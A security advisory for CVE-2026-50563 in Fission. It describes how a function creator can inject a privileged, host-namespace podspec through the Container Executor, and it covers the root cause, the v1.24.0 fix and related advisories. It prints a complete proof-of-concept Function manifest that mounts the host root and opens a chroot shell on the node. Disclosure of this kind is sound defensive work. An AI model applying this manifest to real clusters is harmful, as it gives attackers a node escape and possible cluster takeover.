CVE-2026-50563: Fission Container Executor PodSpec Injection Leading to Node Escape
A Fission user with only the ability to create functions can craft a malicious pod spec that tricks the executor into scheduling a privileged, host-namespace pod, escaping to the underlying…
The problem
Fission's Container Executor lets tenants supply Function.spec.podspec directly. The executor merges it verbatim into the Deployment it creates on the tenant's behalf.
FunctionSpec.Validate only checked that spec.PodSpec != nil for executorType: container. It never inspected the content. MergePodSpec then forwarded hostPID, hostNetwork, hostIPC, hostPath volumes, serviceAccountName, and container privileged into the resulting Deployment with no filtering.
A tenant holding only functions.fission.io/create (a standard developer permission) could deploy a Function whose podspec escapes to the host. This is a lower-privilege variant of GHSA-gx55-f84r-v3r7, which required environments/create.
Proof of concept
A working proof-of-concept for CVE-2026-50563 in github.com/fission/fission, with the exact payload below.
apiVersion: fission.io/v1
kind: Function
metadata:
name: escape-fn
namespace: default
spec:
environment:
name: python
namespace: fission
package:
packageref:
name: escape-pkg
namespace: default
executortype: container
podspec:
hostPID: true
hostNetwork: true
hostIPC: true
serviceAccountName: fission-svc
volumes:
- name: host-root
hostPath:
path: /
type: Directory
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "chroot /host /bin/sh -i"]
securityContext:
privileged: true
allowPrivilegeEscalation: true
volumeMounts:
- name: host-root
mountPath: /hostThe root cause is split across two locations. FunctionSpec.Validate (CWE-284) skipped all content checks on the user-supplied podspec for executorType: container. MergePodSpec (CWE-269) then passed every field through to the Deployment unchanged, including hostPID, hostNetwork, hostIPC, privileged, hostPath volumes, and serviceAccountName.
The executor itself runs under a high-privilege service account with deployments/create in the function namespace. So the executor, not the tenant, creates the Deployment, bypassing any PodSecurityAdmission policy that would block the tenant directly.
The patch adds a call to ValidatePodSpecSafety("Function.spec.podspec", spec.PodSpec) inside FunctionSpec.Validate, the same sanitizer already applied to the Environment path. The existing validating webhook (registered for create and update verbs) picks up the new check with no other changes required.
The fix
Upgrade to Fission v1.24.0. The fix is in PR #3391 (commit e484df8460bb4e8026e24210120602aa7f181f64). FunctionSpec.Validate now calls ValidatePodSpecSafety on spec.podspec before the Function is admitted. Functions whose spec.podspec sets hostPID, hostNetwork, hostIPC, hostPath volumes, privileged, allowPrivilegeEscalation, or a serviceAccountName override are rejected at admission.
Fields like image, command, args, env, resources, nodeSelector, tolerations, affinity, non-hostPath volumes, and volumeMounts continue to work without change.
Reported by Sanket Sudake (sanketsudake).
Related research
- high · 8.1Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection
- critical · 9.9CVE-2026-50545CVE-2026-50545: Fission Environment PodSpec Injection Leading to Node Escape and Cluster Takeover
- critical · 9.9CVE-2026-50564CVE-2026-50564: Fission Environment PodSpec Passthrough Privilege Escalation to Node Escape
- high · 8.5CVE-2026-50570CVE-2026-50570: Fission Incomplete Capability Denylist Allows CAP_SYS_TIME Privilege Escalation